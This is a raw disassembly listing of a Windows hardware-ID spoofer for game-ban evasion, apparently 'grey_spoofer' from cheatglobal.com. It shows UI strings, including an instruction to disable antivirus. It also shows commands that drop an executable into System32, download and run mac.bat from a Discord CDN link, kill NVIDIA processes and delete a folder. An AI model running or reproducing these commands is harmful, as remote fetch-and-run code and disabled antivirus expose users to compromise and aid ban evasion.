movss dword [rbp + 0x230], xmm1
subss xmm2, xmm1
movaps xmm1, xmm7
addss xmm1, dword [0x1401743b8]
addss xmm2, xmm0
movaps xmm0, xmm6
movss dword [rbp + 0x23c], xmm1
mulss xmm2, xmm13
addss xmm0, xmm2
movss dword [rbp + 0x238], xmm0
test esi, 0xff000000
je 0x14005ba94
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm8, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005ba39
mov r8d, 0x678
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x140171c57]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x238]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm8
lea rax, str.cheatglobal.com
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c7e0
movss xmm8, dword [0x14017430c]
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x2e8]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2ec], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2e8], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0x2f4], xmm1
movss dword [rbp + 0x2f0], xmm0
call fcn.140005ce0
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x240]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm9
mov qword [rsp + 0x30], r14
mov esi, eax
lea r14, str.First__Disable_your_Anti_Virus
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0x240]
movss xmm2, dword [0x140394ce0]
addss xmm0, xmm8
addss xmm7, dword [0x1401743c4]
cvttss2si eax, xmm0
movss dword [rbp + 0x24c], xmm7
movaps xmm0, xmm2
mulss xmm0, xmm13
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x240], xmm1
subss xmm0, xmm1
addss xmm0, xmm2
mulss xmm0, xmm13
addss xmm6, xmm0
movss dword [rbp + 0x248], xmm6
test esi, 0xff000000
je 0x14005bc35
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005bbe3
mov r8d, 0x678
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140171c7e]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x248]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c7e0
movss xmm2, dword [0x140394ce0]
mov rcx, qword [0x140395e40]
lea r8, [rbp + 0x250]
movaps xmm0, xmm2
mov dword [rbp + 0x250], 0
mulss xmm0, xmm13
lea rdx, [rbp + 0x130]
xor r9d, r9d
mov dword [rbp + 0x254], 0x41700000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x130], 0x438c0000
addss xmm0, dword [0x1401743f4]
mov dword [rbp + 0x134], 0x437a0000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, str.Container2
mulss xmm0, xmm13
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1401743d4]
addss xmm2, xmm0
movss dword [rax + 0x114], xmm1
movss dword [rax + 0x110], xmm2
call fcn.14002da50
xor esi, esi
mov dword [rbp + 0x138], 0x438c0000
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x138]
mov qword [rsp + 0x30], rsi
lea r14, [0x140395e60]
mov dword [rsp + 0x28], 0x8000
lea rdx, [0x140171c90]
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], rax
mov r8, r14
mov dword [rbp + 0x13c], 0x42200000
lea rcx, [0x140171c94]
call fcn.14003a320
lea rdx, [0x140395f65]
lea rcx, str.Remember_me
call fcn.140030600
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x438c0000
lea rcx, str.LAUNCH
mov dword [rbp + 0x144], 0x42200000
call fcn.14002ecf0
test al, al
je 0x14005bdf3
xorps xmm0, xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], rsi
mov r8, r13
inc r8
cmp byte [r14 + r8], sil
jne 0x14005bd93
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.1400312d0
cmp byte [0x140396710], sil
je 0x14005bdb8
mov dword [0x140395e54], r12d
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005bdf3
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bdee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e712
call fcn.140131320
mov rcx, qword [0x140395e40]
lea rdx, [rbp + 0x148]
mov qword [rsp + 0x30], rsi
movaps xmm3, xmm9
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rcx + 0x3d60]
mov rcx, qword [rcx + 0x3d58]
movss xmm6, dword [rax + 0x110]
subss xmm6, dword [rax + 0x28]
addss xmm6, dword [rax + 0x8c]
lea rax, str.Any_Problems__cheatglobal
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0x148]
mov rcx, qword [0x140395e40]
addss xmm0, xmm8
cvttss2si eax, xmm0
movss xmm0, dword [0x1401743f0]
movd xmm1, eax
mov rax, qword [rcx + 0x4038]
cvtdq2ps xmm1, xmm1
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
subss xmm0, xmm1
movss dword [rbp + 0x148], xmm1
movss xmm2, dword [rax + 0x28]
subss xmm2, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
mulss xmm0, xmm13
addss xmm0, xmm6
addss xmm2, xmm0
movss dword [rax + 0x110], xmm2
movss xmm1, dword [0x140396914]
movss xmm0, dword [0x140396910]
movss dword [rbp + 0x2fc], xmm1
movss xmm1, dword [0x14039691c]
mulss xmm1, dword [rcx + 0x38f0]
lea rcx, [rbp + 0x2f8]
movss dword [rbp + 0x2f8], xmm0
movss xmm0, dword [0x140396918]
movss dword [rbp + 0x304], xmm1
movss dword [rbp + 0x300], xmm0
call fcn.140005ce0
movss xmm6, dword [0x1401742a4]
lea rdx, str._Any_Problems_
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.1400363f0
movaps xmm1, xmm10
movaps xmm0, xmm12
call fcn.140017ee0
movss xmm4, dword [0x140396930]
mov rax, qword [0x140395e40]
lea rcx, [rbp + 0x258]
movss xmm1, dword [0x14039693c]
movss xmm5, dword [0x140396934]
movss xmm0, dword [0x140396938]
mulss xmm1, dword [rax + 0x38f0]
movss dword [rbp + 0x258], xmm4
movss dword [rbp + 0x25c], xmm5
movss dword [rbp + 0x264], xmm1
movss dword [rbp + 0x260], xmm0
call fcn.140005ce0
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.cheatglobal.com
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm6
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp - 0x58]
mulss xmm0, xmm6
mulss xmm1, xmm6
movss xmm3, xmm0
mulss xmm2, xmm6
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rbp - 0x58], xmm3
movups xmmword [rbp - 0x58], xmm3
call fcn.1400363f0
call fcn.14002df40
jmp 0x14005d401
lea eax, [rcx - 1]
cmp eax, r12d
ja 0x14005db60
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x2c8]
movss xmm8, dword [rbp + 0x30]
movss xmm7, dword [rbp + 0x34]
movaps xmm6, xmm7
mov rax, qword [r8 + 0x4038]
addss xmm6, dword [0x1401743b0]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x140396978]
movss xmm1, dword [0x14039697c]
movss dword [rbp + 0x2c8], xmm0
movss xmm0, dword [0x140396980]
movss dword [rbp + 0x2d0], xmm0
movaps xmm0, xmm8
addss xmm0, dword [0x140394ce0]
movss dword [rbp + 0x2cc], xmm1
movss xmm1, dword [0x140396984]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x150], xmm0
movss dword [rbp + 0x154], xmm6
movss dword [rbp + 0x2d4], xmm1
call fcn.140005ce0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x30]
movss xmm0, dword [0x140174430]
lea r8, [rbp + 0x150]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.1400262c0
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x268]
movss dword [rbp + 0x164], xmm6
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x140396978]
movss xmm1, dword [0x14039697c]
movss dword [rbp + 0x268], xmm0
movss xmm0, dword [0x140396980]
movss dword [rbp + 0x270], xmm0
movaps xmm0, xmm8
addss xmm0, dword [0x1401743c8]
movss dword [rbp + 0x26c], xmm1
movss xmm1, dword [0x140396984]
mulss xmm1, dword [r8 + 0x38f0]
movss dword [rbp + 0x158], xmm0
movaps xmm0, xmm8
addss xmm0, xmm12
movss dword [rbp + 0x274], xmm1
movaps xmm1, xmm7
addss xmm1, dword [0x140394ce4]
movss dword [rbp + 0x160], xmm0
movss dword [rbp + 0x15c], xmm1
call fcn.140005ce0
mov rcx, qword [r8 + 0x4038]
lea rdx, [rbp + 0x160]
movss xmm0, dword [0x140174430]
lea r8, [rbp + 0x158]
mov r9d, eax
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x2a8]
call fcn.1400262c0
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x278]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x27c], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x278], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0x284], xmm1
movss dword [rbp + 0x280], xmm0
call fcn.140005ce0
mov esi, eax
movss xmm3, dword [0x140174420]
lea rdx, [rbp + 0xd8]
movss xmm2, dword [r8 + 0x3d60]
xor eax, eax
mov rcx, qword [r8 + 0x3d58]
mov qword [rsp + 0x30], rax
lea rax, str.cheatglobal.com
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0xd8]
movss xmm2, dword [0x140394ce0]
addss xmm0, dword [0x14017430c]
addss xmm2, dword [0x1401743b0]
cvttss2si eax, xmm0
movss xmm0, dword [0x1401743ac]
subss xmm0, dword [rbp + 0xdc]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0xd8], xmm1
subss xmm2, xmm1
addss xmm7, xmm0
mulss xmm2, xmm13
movss dword [rbp + 0x16c], xmm7
addss xmm8, xmm2
movss dword [rbp + 0x168], xmm8
test esi, 0xff000000
je 0x14005c3f3
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005c3a2
mov r8d, 0x678
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140171c57]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x168]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.cheatglobal.com
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c7e0
mov rcx, qword [0x140395e40]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm14
addss xmm0, dword [0x1401743d8]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140018180
cmp dword [0x140395e54], r12d
lea r8, [rbp + 0x170]
lea rdx, [0x140171ce0]
mov dword [rbp + 0x170], 0x42700000
sete cl
mov dword [rbp + 0x174], 0x42700000
call fcn.14002f8f0
test al, al
je 0x14005c492
mov eax, r12d
mov dword [0x140395e54], eax
jmp 0x14005c498
mov eax, dword [0x140395e54]
cmp eax, 2
mov dword [rbp + 0x178], 0x42700000
lea r8, [rbp + 0x178]
mov dword [rbp + 0x17c], 0x42700000
sete cl
lea rdx, [0x140171ce4]
call fcn.14002f8f0
test al, al
je 0x14005c4d6
mov edx, 2
mov dword [0x140395e54], edx
jmp 0x14005c4dc
mov edx, dword [0x140395e54]
mov rcx, qword [0x140395e40]
lea r8, [rbp + 0x180]
test edx, edx
mov dword [rbp + 0x180], 0x42700000
lea rdx, [0x140171ce8]
mov dword [rbp + 0x184], 0x42700000
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
sete cl
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1401743fc]
movss dword [rax + 0x114], xmm0
call fcn.14002f8f0
xor esi, esi
test al, al
je 0x14005c554
mov dword [0x140395e54], esi
call fcn.1400182e0
mov rcx, qword [0x140395e40]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x1401743cc]
addss xmm0, dword [0x1401743bc]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [0x1403968c8]
cmp eax, r12d
jne 0x14005d7c7
movss xmm0, dword [0x140394ce0]
lea r8, [rbp + 0x188]
movss xmm6, dword [0x1401743dc]
lea rdx, [rbp + 0x190]
movss xmm9, dword [0x1401743c0]
subss xmm0, xmm6
movzx r9d, r12b
mov dword [rbp + 0x188], 0x41900000
lea rcx, str.Container1
mov dword [rbp + 0x18c], 0x41900000
mulss xmm0, xmm13
movss dword [rbp + 0x190], xmm0
movss xmm0, dword [0x140394ce4]
subss xmm0, xmm9
movss dword [rbp + 0x194], xmm0
call fcn.14002da50
mov rax, qword gs:[0x58]
mov ebx, reloc.WS2_32.dll_recv
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x140396b08], eax
jle 0x14005c68b
lea rcx, [0x140396b08]
call fcn.14013102c
cmp dword [0x140396b08], r13d
jne 0x14005c68b
lea rcx, [0x140396b10]
call fcn.140062000
lea rcx, [0x140136260]
call fcn.140131308
lea rcx, [0x140396b08]
call fcn.140130fc0
cmp byte [0x1403968a4], 0
je 0x14005c6a2
lea rcx, [0x140396b10]
call fcn.1400311c0
jmp 0x14005c6a9
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, [0x140171cec]
call fcn.140030280
call fcn.140030130
mov eax, dword [rbx + rdi]
cmp dword [0x140396a8c], eax
jle 0x14005c701
lea rcx, [0x140396a8c]
call fcn.14013102c
cmp dword [0x140396a8c], r13d
jne 0x14005c701
lea rcx, [0x140396a48]
call fcn.140062000
lea rcx, [0x1401361f0]
call fcn.140131308
lea rcx, [0x140396a8c]
call fcn.140130fc0
cmp byte [0x1403968cc], 0
je 0x14005c718
lea rcx, [0x140396a48]
call fcn.1400311c0
jmp 0x14005c71f
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140030280
call fcn.140030130
mov eax, dword [rbx + rdi]
cmp dword [0x140396a90], eax
jle 0x14005c777
lea rcx, [0x140396a90]
call fcn.14013102c
cmp dword [0x140396a90], r13d
jne 0x14005c777
lea rcx, [0x140396ab8]
call fcn.140062000
lea rcx, [0x140136180]
call fcn.140131308
lea rcx, [0x140396a90]
call fcn.140130fc0
cmp byte [0x1403968a5], 0
je 0x14005c78e
lea rcx, [0x140396ab8]
call fcn.1400311c0
jmp 0x14005c795
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.140030280
call fcn.140030130
mov eax, dword [rbx + rdi]
cmp dword [0x140396ae0], eax
jle 0x14005c7ed
lea rcx, [0x140396ae0]
call fcn.14013102c
cmp dword [0x140396ae0], r13d
jne 0x14005c7ed
lea rcx, [0x140396a98]
call fcn.140062000
lea rcx, [0x140136110]
call fcn.140131308
lea rcx, [0x140396ae0]
call fcn.140130fc0
cmp byte [0x1403968bd], 0
je 0x14005c804
lea rcx, [0x140396a98]
call fcn.1400311c0
jmp 0x14005c80b
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.140030280
call fcn.140030130
mov eax, dword [rbx + rdi]
cmp dword [0x140396a38], eax
jle 0x14005c863
lea rcx, [0x140396a38]
call fcn.14013102c
cmp dword [0x140396a38], r13d
jne 0x14005c863
lea rcx, [0x140396a68]
call fcn.140062000
lea rcx, [0x1401360a0]
call fcn.140131308
lea rcx, [0x140396a38]
call fcn.140130fc0
cmp byte [0x1403968ac], 0
je 0x14005c87a
lea rcx, [0x140396a68]
call fcn.1400311c0
jmp 0x14005c881
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, str.MAC:
call fcn.140030280
call fcn.140030130
mov eax, dword [rbx + rdi]
cmp dword [0x140396a40], eax
jle 0x14005c8d9
lea rcx, [0x140396a40]
call fcn.14013102c
cmp dword [0x140396a40], r13d
jne 0x14005c8d9
lea rcx, [0x140396b70]
call fcn.140062000
lea rcx, [0x140136030]
call fcn.140131308
lea rcx, [0x140396a40]
call fcn.140130fc0
cmp byte [0x1403968bc], 0
je 0x14005c8f0
lea rcx, [0x140396b70]
call fcn.1400311c0
jmp 0x14005c8f7
lea rax, [0x1401621ea]
mov rdx, rax
lea rcx, str.UUID:
call fcn.140030280
mov rcx, qword [0x140395e40]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x400]
addss xmm1, dword [0x140174374]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
call fcn.140018130
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x198]
addss xmm2, xmm14
mov dword [rbp + 0x19c], 0x41f00000
lea rcx, str.Serial_Checker
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm13
movss dword [rbp + 0x198], xmm0
call fcn.14002ecf0
test al, al
je 0x14005caa3
lea rcx, [rbp - 0x80]
mov byte [0x1403968a4], r12b
call fcn.140055520
mov rdx, rax
lea rcx, [0x140396b10]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
mov byte [0x1403968cc], r12b
call fcn.140055b20
mov rdx, rax
lea rcx, [0x140396a48]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
mov byte [0x1403968a5], r12b
call fcn.140056860
mov rdx, rax
lea rcx, [0x140396ab8]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
mov byte [0x1403968bd], r12b
call fcn.140056880
mov rdx, rax
lea rcx, [0x140396a98]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
mov byte [0x1403968ac], r12b
call fcn.140055500
mov rdx, rax
lea rcx, [0x140396a68]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
mov byte [0x1403968bc], r12b
call fcn.1400549d0
mov rdx, rax
lea rcx, [0x140396b70]
call fcn.140061e50
lea rcx, [rbp - 0x80]
call fcn.1400311d0
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.140017ee0
mov rdx, qword [0x140395e40]
mov r8, qword [rdx + 0x4038]
cmp qword [r8 + 0x1b8], 0
jne 0x14005cad9
cmp qword [rdx + 0x4dd8], 0
lea rax, [r8 + 0x260]
je 0x14005cae0
lea rax, [r8 + 0x230]
movsd xmm0, qword [rax]
lea rdx, [rbp - 0x58]
add r8, 0x28
movsd qword [rbp - 0x58], xmm0
lea rcx, [rbp + 0x310]
call fcn.140002f10
movss xmm2, dword [r14 + 0x38f8]
lea rdx, [rbp + 0x1a0]
movss xmm3, dword [rbp + 0x310]
addss xmm2, xmm14
lea rcx, str.SPOOF
mov dword [rbp + 0x1a4], 0x41f00000
subss xmm3, xmm2
mulss xmm3, xmm13
movss dword [rbp + 0x1a0], xmm3
call fcn.14002ecf0
test al, al
je 0x14005d2e0
cmp byte [0x140395f66], 0
mov dword [0x140395e54], 3
je 0x14005cdbd
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031230
mov r8d, 0x390a8
lea rdx, [0x1402231a0]
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp + 0x50]
call fcn.140046c60
lea rcx, [rbp + 0x90]
mov rbx, rax
call fcn.140046c60
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0xf0]
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp - 0x58]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.140046c60
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140046c60
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0xf0]
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp + 0x90]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.140046c60
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140046c60
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
lea rcx, [rbp + 0xf0]
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp + 0x90]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
call fcn.140047120
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140040da0
call fcn.140057cf0
jmp 0x14005cdcb
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
cmp byte [0x140395e3c], 0
je 0x14005d0b3
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031230
mov r8d, 0x390a8
lea rdx, [0x1402231a0]
lea rcx, [rbp - 0x80]
call fcn.140046df0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.140046c60
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.140046c60
mov r8, rax
lea rcx, [rbp + 0xf0]
mov rdx, r14
call fcn.1400635c0
mov rdx, rax
lea r8, [0x14016d8bc]
lea rcx, [rbp + 0x90]
call fcn.140063870
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.1400638e0
mov rcx, rax
call fcn.1400311c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.1400311d0
lea rcx, [rbp + 0x90]
call fcn.1400311d0
lea rcx, [rbp + 0xf0]
call fcn.1400311d0
lea rcx, [rbp - 0x80]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.1400311d0
lea rcx, [rbp - 0x58]
call fcn.140046c60
